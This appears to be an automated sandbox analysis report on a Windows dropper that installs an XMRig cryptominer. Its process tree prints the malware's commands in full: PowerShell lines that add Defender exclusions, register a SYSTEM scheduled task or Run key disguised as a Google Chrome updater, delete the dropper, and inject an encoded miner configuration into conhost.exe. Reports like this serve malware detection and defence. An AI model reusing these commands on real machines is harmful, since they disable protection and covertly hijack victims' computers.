Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
389s -
max time network
1805s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
EtPLMpbCyFJpMJr7.exeupdater.execonhost.exedescription pid process target process PID 2644 created 1244 2644 EtPLMpbCyFJpMJr7.exe Explorer.EXE PID 2644 created 1244 2644 EtPLMpbCyFJpMJr7.exe Explorer.EXE PID 2644 created 1244 2644 EtPLMpbCyFJpMJr7.exe Explorer.EXE PID 2644 created 1244 2644 EtPLMpbCyFJpMJr7.exe Explorer.EXE PID 3044 created 1244 3044 updater.exe Explorer.EXE PID 3044 created 1244 3044 updater.exe Explorer.EXE PID 3044 created 1244 3044 updater.exe Explorer.EXE PID 3044 created 1244 3044 updater.exe Explorer.EXE PID 2836 created 1244 2836 conhost.exe Explorer.EXE PID 3044 created 1244 3044 updater.exe Explorer.EXE -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral11/memory/1980-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1980-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2580 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 3044 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2876 taskeng.exe -
Processes:
resource yara_rule behavioral11/memory/1980-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1980-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 3044 set thread context of 2836 3044 updater.exe conhost.exe PID 3044 set thread context of 1980 3044 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
EtPLMpbCyFJpMJr7.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe EtPLMpbCyFJpMJr7.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2664 schtasks.exe 2700 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 103c1a1bc050da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
EtPLMpbCyFJpMJr7.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2644 EtPLMpbCyFJpMJr7.exe 2644 EtPLMpbCyFJpMJr7.exe 2248 powershell.exe 2644 EtPLMpbCyFJpMJr7.exe 2644 EtPLMpbCyFJpMJr7.exe 2220 powershell.exe 2644 EtPLMpbCyFJpMJr7.exe 2644 EtPLMpbCyFJpMJr7.exe 2644 EtPLMpbCyFJpMJr7.exe 2644 EtPLMpbCyFJpMJr7.exe 2572 powershell.exe 3044 updater.exe 3044 updater.exe 1516 powershell.exe 3044 updater.exe 3044 updater.exe 1656 powershell.exe 3044 updater.exe 3044 updater.exe 3044 updater.exe 3044 updater.exe 2836 conhost.exe 2836 conhost.exe 3044 updater.exe 3044 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2248 powershell.exe Token: SeDebugPrivilege 2220 powershell.exe Token: SeDebugPrivilege 2572 powershell.exe Token: SeDebugPrivilege 1516 powershell.exe Token: SeDebugPrivilege 1656 powershell.exe Token: SeDebugPrivilege 3044 updater.exe Token: SeAssignPrimaryTokenPrivilege 1084 WMIC.exe Token: SeIncreaseQuotaPrivilege 1084 WMIC.exe Token: SeSecurityPrivilege 1084 WMIC.exe Token: SeTakeOwnershipPrivilege 1084 WMIC.exe Token: SeLoadDriverPrivilege 1084 WMIC.exe Token: SeSystemtimePrivilege 1084 WMIC.exe Token: SeBackupPrivilege 1084 WMIC.exe Token: SeRestorePrivilege 1084 WMIC.exe Token: SeShutdownPrivilege 1084 WMIC.exe Token: SeSystemEnvironmentPrivilege 1084 WMIC.exe Token: SeUndockPrivilege 1084 WMIC.exe Token: SeManageVolumePrivilege 1084 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1084 WMIC.exe Token: SeIncreaseQuotaPrivilege 1084 WMIC.exe Token: SeSecurityPrivilege 1084 WMIC.exe Token: SeTakeOwnershipPrivilege 1084 WMIC.exe Token: SeLoadDriverPrivilege 1084 WMIC.exe Token: SeSystemtimePrivilege 1084 WMIC.exe Token: SeBackupPrivilege 1084 WMIC.exe Token: SeRestorePrivilege 1084 WMIC.exe Token: SeShutdownPrivilege 1084 WMIC.exe Token: SeSystemEnvironmentPrivilege 1084 WMIC.exe Token: SeUndockPrivilege 1084 WMIC.exe Token: SeManageVolumePrivilege 1084 WMIC.exe Token: SeLockMemoryPrivilege 1980 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2220 wrote to memory of 2700 2220 powershell.exe schtasks.exe PID 2220 wrote to memory of 2700 2220 powershell.exe schtasks.exe PID 2220 wrote to memory of 2700 2220 powershell.exe schtasks.exe PID 2580 wrote to memory of 3016 2580 cmd.exe choice.exe PID 2580 wrote to memory of 3016 2580 cmd.exe choice.exe PID 2580 wrote to memory of 3016 2580 cmd.exe choice.exe PID 2572 wrote to memory of 1692 2572 powershell.exe schtasks.exe PID 2572 wrote to memory of 1692 2572 powershell.exe schtasks.exe PID 2572 wrote to memory of 1692 2572 powershell.exe schtasks.exe PID 2876 wrote to memory of 3044 2876 taskeng.exe updater.exe PID 2876 wrote to memory of 3044 2876 taskeng.exe updater.exe PID 2876 wrote to memory of 3044 2876 taskeng.exe updater.exe PID 1656 wrote to memory of 2664 1656 powershell.exe schtasks.exe PID 1656 wrote to memory of 2664 1656 powershell.exe schtasks.exe PID 1656 wrote to memory of 2664 1656 powershell.exe schtasks.exe PID 3044 wrote to memory of 2836 3044 updater.exe conhost.exe PID 312 wrote to memory of 1084 312 cmd.exe WMIC.exe PID 312 wrote to memory of 1084 312 cmd.exe WMIC.exe PID 312 wrote to memory of 1084 312 cmd.exe WMIC.exe PID 3044 wrote to memory of 1980 3044 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1244
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2644 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2248 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2220 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2700 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2580 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1692
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2664 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2836 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1052 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:312 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1980
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:3016
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C:\Windows\system32\taskeng.exetaskeng.exe {8E34C0A7-5D9A-4896-9A9E-47344ED496F8} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3044
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1084
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.1MB
MD55cb97223d39e568034cecd3a561767b4
SHA17d027d61e0e64b6558aa8ac720688670f4336e08
SHA2566af631b5d2b299253893cbf80e12bd600f8c8f494e6d031bc56a9ab0fa46113f
SHA51214c4182cd0756c63a75cb8992b36ab902399891835334af46a964235e59a74e858822d6c450c06293b7a0508aaa10ca9d7cde0c814a02b481bdfd388546d54f0
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Filesize
717KB
MD5945dafa0baa833c3cb8646c43c7d9ed0
SHA1505602737302ccceb61b2c2c0b919a2571894573
SHA256e42292fa02b1fa7fa77bdfc901668d2a90e3ea5bea0f9a7e1bda4315cb89bff9
SHA512cf8ce3434aa15fd88d71aca5e3f711225f761732f733aa1c5e51161c51b0cc9719dfa6fa4f4a7d3ea691c0c6af5ab0d45d185a424bc101026a8ba30ac822c80c
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5c2640ce1a4af19583347d15cd1dc3da2
SHA1f18ecf84223b61e3b66cfec60daece44edc67458
SHA256baa8ee71425db687c0680fd18c36fec21459131d9df8e8bc2101bc05a26e8e9e
SHA51297c27822e874595cd096317dd5c041578396fe54042efe172f1c328cd8799c649146564848e1efb5f0f707a81b539e34604fe78c044a98669e945292dd8ad0aa
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Filesize
819KB
MD596da8ddcad9082753d28e7f50e2f9ff0
SHA15d1d83f0b3b6314c08f2ac8d116d41c835fda151
SHA256e7cbe773fcae1e48b3395ab95ff7091d17fa8bb8013dc3cac8bf8c63275b3150
SHA512e981f848461d4e2fe105a3bd6396c3f6d85bd8d54b21717c4e0b8825cb3fcfc21312655add74196be62a3bd62c8efd841303ac876d2e847effd7b666d39d5b77